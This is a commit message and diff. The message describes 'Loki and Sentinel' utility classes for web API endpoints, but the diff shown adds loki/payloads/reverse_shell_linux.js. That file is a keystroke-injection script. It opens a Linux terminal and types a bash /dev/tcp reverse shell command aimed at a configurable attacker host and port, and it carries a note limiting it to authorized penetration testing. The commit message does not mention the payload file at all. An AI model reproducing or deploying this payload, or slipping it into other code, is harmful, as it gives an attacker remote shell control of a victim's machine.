Add Loki and Sentinel utility classes for web API endpoints

- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads.
- Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications.
- Both classes include error handling and JSON response formatting.

loki/payloads/reverse_shell_linux.js

@@ -0,0 +1,13 @@
+// Reverse Shell (Linux) — Bash reverse TCP. Set LHOST/LPORT before use.
+// WARNING: For authorized penetration testing only.
+var LHOST = "CHANGE_ME";
+var LPORT = "4444";
+
+layout('us');
+delay(1000);
+
+// Open terminal (Ctrl+Alt+T is common on Ubuntu/Debian)
+press("CTRL ALT t");
+delay(1500);
+
+type("bash -i >& /dev/tcp/" + LHOST + "/" + LPORT + " 0>&1\n");